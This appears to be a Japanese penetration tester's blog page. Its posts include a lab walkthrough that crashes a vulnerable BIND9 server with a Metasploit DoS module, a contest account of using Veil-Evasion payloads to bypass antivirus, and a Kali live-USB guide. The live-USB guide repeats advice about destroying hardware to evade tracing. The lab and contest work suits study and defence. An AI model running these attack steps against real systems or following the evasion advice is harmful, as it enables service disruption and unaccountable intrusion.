ウサギは後退せず、大きな耳で情報集めをする事に験を担ぎ、古来より日本では鎧などにウサギの図柄を取り入れてきたらしい。
読者です 読者をやめる 読者になる 読者になる

うさブロ

ぼっちなうさぎのセキュリティラボ

目的が先か、手段が先か

ここ最近、ずっと悩んでいた。

 

f:id:appleseedj073:20170213224356p:plain

kali linuxは、とても便利なペネトレーションテスト用のOSだと思う。ツールも豊富で、2000個以上?用意されているらしい。もしこれを自分で全て一つずつインストールしていったらどんだけの労力なんだろうか?そう考えると本当に便利である。

 

しかし、この便利なツールがあるせいで自分は考えることを疎かにしてしまった。

f:id:appleseedj073:20170213224920j:plain

「怠惰ですね」

 

Aというツールがあるから、この攻撃検証をしてみよう。

Bというツールを使って何かできないかな?

 

手段が先行してしまってる攻撃検証なんて選択肢の幅が狭い!

 

ナイフを持ってるから人を刺すの?

人を刺したいからナイフを手に取るの?

 

DoSツールを手に入れたから、A社にDoS攻撃をするの?

A社にDoS攻撃をしたいから、DoSツールを求めるんじゃないの?

 

前者の場合、先に手段が決まってしまてるからそのあとに手段が変更することなんてないと思う。でも後者の場合、まず目的があってその目的を達成するために手段を求めるから、その工程で見つかる手段は前者より選択肢が多いと思う。

 

人を刺したい → ナイフにする?杭にする?アイスピック?もっとエゲツない物?w

A社にDoS攻撃をしたい → ツールをネットから探す?ツールを自分でコーディングする?基本コマンドをうまく組み合わせる?

 

後者の方が、可能性は無限大に広がるのでは?

 

だから、これからの攻撃検証は「便利なツールを見つけたから、それを活用する攻撃検証」といった考え方ではなく、「こんなことをしたい!そのためには何をどうすれば良いか?」と考えていきたい。

 

と、久しぶりのブログは心機一転の思考パターンを備忘録的に綴ってみた。

BIND9用のMetasploit Module を使ってみる【攻撃編】

f:id:appleseedj073:20161107232032p:plain

準備ができたら攻撃検証開始!

攻撃環境

やられサーバ(CentOS 6.6)

  • IP 192.168.10.21

 

攻撃側(Kali Linux

  • IP 192.168.10.20

やられサーバ側でBINDの起動を確認

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113210210p:plain

BINDの起動を確認できたら攻撃側へ

 

攻撃側でとりあえずnmapしてみた。

f:id:appleseedj073:20161113210524p:plain

53番のオープンを確認

 

攻撃開始

 msfconsole

 use auxiliary/dos/dns/namedown

f:id:appleseedj073:20161113213951p:plain

optionの確認

 show options

f:id:appleseedj073:20161113214337p:plain

optionsの入力

 set RHOSTS 192.168.10.21

設定の確認

f:id:appleseedj073:20161113214702p:plain

 

必要事項を入力したら実行!

 run

f:id:appleseedj073:20161113215033p:plain

攻撃が成功しているようなメッセージが表示される。

 

やられサーバ側を確認する。

 ps awux | grep -v grep | grep bind

f:id:appleseedj073:20161113215853p:plain

BINDの起動が確認できない。

ログの確認

 cat /var/log/messages

f:id:appleseedj073:20161113220225p:plain

Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。

Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed

 buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。

Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)

 次の行ではassertion failureでexiting(終了)している。

 

ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合

攻撃側

f:id:appleseedj073:20161113224631p:plain

失敗してるようなメッセージ・・・。

 

やられ側

ログの確認

f:id:appleseedj073:20161113224801p:plain

Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)

 攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。

 

結論

 出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。

 それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)

 

 

 

BIND9用のMetasploit Module を使ってみる【準備編】

f:id:appleseedj073:20161107232032p:plain

久しぶりの脆弱性に対する攻撃検証をやってみる。

www.ipa.go.jp

簡単にいうと脆弱性が残るBIND9に細工したクエリを送り込むとBIND9がサービスを停止するというものである。

 

影響の受けるバージョンは以下の通り

  • BIND 9.0.x から 9.8.x までのバージョン
  • BIND 9.9.0 から 9.9.9-P2 までのバージョン
  • BIND 9.9.3-S1 から 9.9.9-S3 までのバージョン
  • BIND 9.10.0 から 9.10.4-P2 までのバージョン
  • BIND 9.11.0a1 から 9.11.0rc1 までのバージョン

 対策として、ISCから以下のバージョンへのアップデートが推奨されている

  • BIND 9.9.9-P3
  • BIND 9.9.9-S5
  • BIND 9.10.4-P3
  • BIND 9.11.0rc3

 

準備したこと

  1. やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る
  2. 例によってGitHubから持ってきたModuleを突っ込む

 

1.やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る

やられサーバのOSとしてCentOS6.6を、BINDは9.10.1-P1を用意した。どちらも、ネットでダウンロード可能。

ちなみに手順等については、以下のサイトを参考にした。


qiita.com

qiita.com

CentOSをVMwareFusionにインストールして、落としてきたBIND9.10.1-P1をインストールする。

f:id:appleseedj073:20161108075739p:plain

 

サービスを起動させて、起動を確認する。

f:id:appleseedj073:20161108075801p:plain

 

2.例によってGitHubから持ってきたModuleを突っ込む

GitHubからBIND9の脆弱性を突く攻撃モジュールをダウンロードしてくる。

github.com

 

 ダウンロードしてきたモジュール(namedown.rb)を~/.msfX/modules/auxiliary/dos/dns/ (Xには該当するバージョン)に配置する。(ディレクトリがない場合は適宜作成)

  ~/.msf4/modules/auxiliary/dos/dns/

とりあえずこれで準備は完了。

感謝するココロ 〜辻さんの本を読み終えて〜

 

あなたのセキュリティ対応間違っています

あなたのセキュリティ対応間違っています

 

 

辻さんの「あなたのセキュリティ対応間違っています」という本をAmazonでポチって読み終えました。

以下、この本のレビューはしませんw

別に宣伝するつもりもないので、褒めちぎったりもしません。だからと言って否定なんて絶対ありえませんけどw

ただ、読んだあとずっと胸の中に残る「気持ち」を今後忘れないために書き連ねます。

 

内容は、真面目にレビューされている方がいますからそっちを読んでください。

率直な感想としては、やっぱり説明がうまいなぁと思いました。何度か、プレゼンを拝聴したり、一緒にお話をさせてもらってて思うのが本当にこの仕事好きなんだなぁって思ったこと。説明が丁寧でわかりやすく、何よりも楽しそうに話してくださったのが印象的でした。セキュティ初心者から上級者までいろんな側面から楽しめると思う。特に上級者や、周りに伝えなくてはいけない立場の人間としては、勉強になる本だと思った。

 

〜以下、ある意味ネタバレ〜

 

 

 

 

私は、この本を通勤の行き帰りで読んでいた。最後まで。

今となっては、それをとても後悔してる。せめて最後は、一人になれる場所で静かに読みたかった。

この本のラストは感謝で溢れている。身近な人、関わった人、最愛の人への感謝で溢れていた。読み終えた時には、俺の目元は涙で溢れていた。自宅へ向かう帰りの通勤ラッシュの中、いい年したおっさんが涙溜めて本を読んでる。本当に気持ち悪い光景だっただろう。

その日は、帰りにコンビニで家族にスイーツを買って帰りました。「ただいま」の後に「ありがとう」と言いました。

 

私は、辻さんとは、全くレベルが違うけれど「ペネトレーションテスター」的な仕事をしている。職場の中で一人っきりで。

脆弱性が出たら、一人で悩んで、一人で解決し、一人で喜んでる。職場内では、みんなチームを組んでたり隣同士相談しているのにいつも自分ばかり一人で辛かった。孤独だった。

最近、そんな生活が嫌になってかなり自暴自棄になってしまっていた。孤独に負けてました。でも、ある方が「一人じゃないですよ。」と手を差し伸べてくれて、そして私の孤独に対して「孤独を乗り越えるんじゃなくて、付き合っていけばいい」と道を示してくれた。そして「自分が自分を一番好きに、そして、優しくしてあげましょう」と言ってくれました。その後、1時間くらい泣き続けました。

よく考えたら、そこまで孤独じゃなかったのかもしれない。

本気でしんどい時に、無茶苦茶なタイミングなのに笑顔で引き受けてくれた後輩達。

俺が、立ち回りやすいように根回しと舞台を誂えてくれてる上司。

もっと冷静になって周りを見て、みんなに感謝しないといけないと気付けた。

 

話が脱線したが、本の最後に書かれていた感謝の言葉を読んでいたら、今まで、本当に大変な苦労があったんだろうな。だから、あんなに暖かい言葉で感謝を伝えられるんだろうなと勝手に思ってました。

 

読み終えた今、改めて後輩と上司に「ありがとう」と伝えたくなりました。

 

そして、救ってくれた辻さんに感謝したいです。

 

あなたのセキュリティ対応間違っています

あなたのセキュリティ対応間違っています

 

 

当たり前のことを当たり前のようにする 〜CODE BLUE Hack-a-Tronに参加して〜

f:id:appleseedj073:20161105163516p:plain

先月20日、21日とCODE BLUEというイベントが開催されていました。セキュリティに関するイベントなんで是非参加したいなぁっと思っていたのですが、高いw なんたって早期割引でも税込41,040円、当日料金に至っては75,600円!まず、無理・・・。

そんなわけで最初から興味を持ちつつも何も気にすることなく過ごしていたらTLにこんなものが・・・

f:id:appleseedj073:20161105164853p:plain

なに?

PCをハックする競技?

参加費無料!?

無料でビールを含むドリンク提供予定!?

とりあえず、登録だけしてみようかなw

コンテストのページを見てビックリですよ。

このコンテストでは、リアルタイムで皆様の攻撃の様子(ログ)を出力します(たまに大スクリーンに投影されます)。MCには上野宣氏をお迎えして、コメンテータと実況解説を行う他、コスプレコンパニオンがいます。ご来場の皆様には、挑戦者以外にも無料でお飲み物(ビール、ソフトドリンク)等をお配りする、新しいハッキングコンテストです。

賞金/賞品
賞品として、空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

コスプレコンパニオン!?

空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。

なんなのこのイベント?絶対に採算取れないよね・・・。でも、コスプレコンパニオンがいて、ビールが飲めて、ドローンがもらえるなら参加してみよう!仕事休んでも参加だ!!

 

と、いうわけで10月20日を迎えて参加してきましたw

f:id:appleseedj073:20161105172256j:plain

午前10時30分頃の写真ですw ちゃんとビールもらえた!

 

f:id:appleseedj073:20161105172411j:plain

この席からニコ生に放送されていました。

 

 可愛いコスプレイヤーさんにも会えた!

 

とりあえず・・・当初の目標は達成したw

あとは、経験値稼ぎ程度に競技に参加して見事に散って帰ろうw

 

1日目の競技内容は、

競技参加者は自身のコンピュータを使って挑戦する個人戦です。Full Pursuitと呼ばれるカーネルの動きまで詳細に出力するロギングツール(※攻撃を防ぐような動作はしません)が入った4台のコンピュータが標的です。(尚、FULL PURSUITは警察庁に導入されています。)スイッチとLANケーブル(カテゴリ5e)は提供されます。競技参加者は自身のコンピュータとその他のデバイスを自由に使えます。競技は1時間の中でどれだけ多くの得点を獲得するかを競います。2回目にも連続出場OKです(同一端末を手配します)。

下記の攻撃は得点としてカウントします(2度めの同様の攻撃はカウントしません):
- スクリプトプロセスを用いた外部通信
- 管理者権限でのコマンド実行
- Windowsフォルダへのファイルの書き込み
- リモートデスクトップの有効化
- DEPのキャンセル
- 他のユーザメモリのエクスプロイト
- 他のシステムメモリを止める or エクスプロイト
- IDT (Interrupt Descriptor Table)の改ざん
- MBRの書き換え

競技ルール
競技の対象コンピュータの設定は下記の通り
-Toshiba Satellite Pro S750 Seriesに、コンテスト仕様のFull Pursuit(ロギングツール)、Windows 7 Professional 64bit SP1, Office 2010, Chrome, Firefox, Safari, Acrobat Reader, Java VM, Microsoft Security Essentials (最新版)
- 競技参加者にはゲストアカウントが与えられる

(失格につながる)違反行為
- 再起動、BSOD -- そこで即刻ゲームオーバー
- あらゆるデバイスの意図的な物理的破壊は失格となる
- OSの論理的破壊(起動しない)は失格となる

というルール。

 

とりあえず、競技開始して思った。最新版になっているWindows 7って思ったより強いね(T . T)

外からの通信は受け付けないし、当然、対策してないペイロードは速攻で処理されるし・・・。どうしましょうって感じでした。そんな中、実況では「もう何ポイントか取られてますね」「既に管理者権限を取得しているかもしれません」なんて煽るから焦る焦る。

単純に脆弱性なんてものは残っていなそうだし、なんかプログラムを動かしてメモリに割り込むなんて高等技術は持ち合わせてないので、まずはなんとかして持ち込んだPC上で動かしているKali Linuxと接続させようと考えた。

ルールでは、PCの接続も許可されいるし、USBの接続も禁止されていないので「Veil-Evasion」でペイロードを作成して、USBで対象端末にコピーして実行。難読化したペイロードを実行して、Metaplitorを動かして見た。

github.com

 

MetaplitorからMSE殺したり、指定されたファイルを実行したり、とりあえずnotepad.exeにインジェクションして見たりとやれることやって見たけど結局管理者権限は取れなかった(T . T)

 

f:id:appleseedj073:20161105180344p:plain

だいぶ嫌になり始めていた頃のスクリーンショットw

 

指定されたポイントは、ほとんど取ることができなかったけど楽しく競技することができたし、新しい気付きも得ることができたから、参加してよかったと思う。

 

今回思ったことだが、パッチ当ててを最新版にする行為は、当たり前の事だけど結構後回しにされがち。確かにダウンロードに時間がかかったり、再起動を求められたりで面倒臭いけど、最新版にして脆弱性を無くしておくだけで攻撃者としては結構、躊躇しちゃうと思う。それに、仮にペイロードバックドア)を埋め込まれてしまっても管理者権限を簡単に奪取されるわけではないと思う。(色々と条件もあると思うけど、今回みたいな場合はという事で)

よく言われる事だけど「当たり前のことを当たり前のようにする」というのは難しいけど大事だと今回見にしみてわかった。セキュリティに携わるものとして、お金かけなくても最低限の労力で、結構効果あるセキュリティとして「常に最新の状態にしておく」ことを推進したいです。

 

最後に・・・

f:id:appleseedj073:20161105190855j:plain

ドローンは、美味しくいただきましたw

F.TRONさんありがとうございました!

ゆるそうでゆるくない勉強会 リターンズ

5ヶ月ぶりに「ゆるいハッキング大会 in TOKYO」に参加してきました。

f:id:appleseedj073:20161023140548p:plain

第18回 ゆるいハッキング大会 in TOKYO 開催 | ITオフィスサポートとシステム開発|システムガーディアン AWSクラウド導入|東京都中央区八丁堀

 

前回よりも立地の良い会場で、茅場町駅の出口からすぐで迷子になる事なく会場に行けたw

そして、ビルの入り口でこんなものを発見!

f:id:appleseedj073:20161023140747j:plain

うん!怪しいね!www

 

この日の内容は、以下のような感じと案内されていました。

今回は全3回開催の2回目になりますので、実践のための講演になります。毎回繰り返しておりますが、無線LANの実際のハッキングから攻撃をメインしております。第3回で無線LANをジャックしてWEBサーバー攻撃してWEBサイト改ざんとバックドアを仕掛けるまでが基本になりますので、当日は無線LANのジャックの手法コマンドレベルでレクチャーしていきます。今までの講演で環境による差異で躓くことが多かったので、こちらをメインに行ないます。また標的型攻撃を例もいくつかレクチャーしていきます。

前回は、全3回の3回目でいきなり実戦だっけど、今回は2回目だから座学&hands-onなのかな?って思っていたら、基本的に座学メインの内容でした。

参加者のレベル感としては初心者クラスが6〜7割を占めている感じでした。Kali Linuxをインストールしてきたつもりなのに起動できない人とか、そもそもLinuxを触り慣れていない人がいました。だから、教育のテンポも途中からゆっくりに切り替えられてToolの解説はほどほどに、次回使うであろう無線LANをジャックするToolや、CMSをアタックするToolの名前を紹介してあとは自分で調べてね〜的な感じで3時間が過ぎました。ある意味、初心者の人に優しい勉強会になるのかな?

講義の間、ずっと「ゆるい集まりだからお酒飲みながらでもいいですよ〜」って言われていたけど誰もアルコールを飲まないで、「ゆるいハッキング大会」とは言えないくらい真剣な表情で聞いてました。逆に何度も勧める講師が迎え酒という事でチューハイ飲みながら喋っていたのが唯一の「ゆるさ」w

次回、参加するときは飲んでようかな?でも、3回目だからガチだろうし、グループで実習するって言ってるのに飲んでていいのかな?w

 

ちょっと初心者さんよりの内容になったから物足りない感はあったけど、他では聞けない「攻撃者目線」の話を聞けて今回も大変良い刺激になりました!

 

今回から、ステッカーとバッジがもらえて、レベルを色分けする様子。

「ゆるいハッキング大会」でトップレベルを認定してもらえるように頑張ろうっと。

f:id:appleseedj073:20161023142540j:plain

とある親父の侵入実験【Live USB】

f:id:appleseedj073:20160813022549p:plain

あるセミナーで、こんな事を言われたのを思い出した。

「ハイスペックな高級ラップトップを使ってハッキングを繰り返してて、足がついた時どうする?」

確かに高いラップトップを使えば処理も早いと思うけど…、足がつくって発想は無かったな。と、言うか足がついて困る様な悪い事はしないから関係ないと思いたいところw

 

「アキバで、とりあえずBIOSが起動する程度の安いPCを買ってきて、USBブートのKaliで仕事する。ヤバくなったら速攻、PCだけぶっ壊してUSBを持って自分は逃げれば良いんだよ」

って、話にはリアリティを感じた。仕事でペネトレーションテストをしたり、攻撃検証をしている人と全く違う、ある意味「本物のプロ」な発想。厨二病のハートを擽ります。

 

別に悪い事しなくてもLive USB のKali Linuxには興味が湧いたので作成してみる。

オフィシャルから作成方法が出ているので参考にした。

Making a Kali Bootable USB Drive(KALI LINUX OFFCIAL DOCUMENTATION)

 

準備したもの

 

手順

Kali LinuxのダウンロードサイトからISOファイルをダウンロードする。

www.kali.org

 

ディスクユーティリティで、準備しておいたUSBをフォーマットする。

f:id:appleseedj073:20161015143828p:plain

フォーマットするディスクを間違えないようにする。

 

f:id:appleseedj073:20161015143851p:plain

フォーマット形式は「MS-DOS(FAT)」 を選ぶ。あとはデフォルトもしくは、適当。

 

f:id:appleseedj073:20161015144038p:plain

フォーマット完了

 

ターミナルを起動 → 以下のコマンドを入力してUSBのマウントされている所を確認する。

 

diskutil list

f:id:appleseedj073:20161015144124p:plain

ここでは/dev/disk4にマウントされている。

 

ターミナルに

diskutil unmountDisk disk4

と入力してアンマウントする。「disk4」は状況に応じて読み換える。

 

次に

dd if=【ダウンロードしたKali Linuxのファイル名】.iso of=/dev/dsik4 bs=512k

と入力して処理が完了するまで待つ。完了すると

f:id:appleseedj073:20161015162840p:plain

こんな情報が表示される。

 

次にUSBの中に保存領域を確保して変更内容を保存できるようにする。このままだとCDと変わらない。

 

システムを終了させて、作成したUSBを挿した状態でoptionを押しながらpower onする。

 

f:id:appleseedj073:20161015183205j:plain

フォーマットがMS-DOS(FAT)だからWindows?とりあえずWindowsを選択して起動。

 

f:id:appleseedj073:20161015183326j:plain

Liveで起動する。

 

起動したら端末を開いて

gparted

と入力する

f:id:appleseedj073:20161015183425j:plain

右上のタブで、利用しているUSBを選択する。今回は32Gだから、/dev/sdbを選択した。

 

Fat16の領域があったら削除する。(unmount→delete)

f:id:appleseedj073:20161015183735j:plain

unallocatedを選択して右クリック→new

 

Create new Partitonで以下のように設定する。

f:id:appleseedj073:20161015184041j:plain

  • File system「ext4
  • Label「persistence」

入力したらAddする。

 

Apply All Operationsを選択して処理を確定する。

f:id:appleseedj073:20161015192910j:plain

本当にやっていいか?って感じの質問をApplyする。

f:id:appleseedj073:20161015193011j:plain /dev/sdb2が出来てる。

f:id:appleseedj073:20161015200002j:plain

処理が完了したらgpartedを終了させて、端末から

mkdir -p /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf

これで保存できるようになったので再起動する。 

f:id:appleseedj073:20161015193105j:plain

次からはUSB Persistenceを選ぶことで保存が可能になる。

 

VMよりも動作が速い気がする。そして、何より漫画に出てくるハッカーっぽくてカッコいいw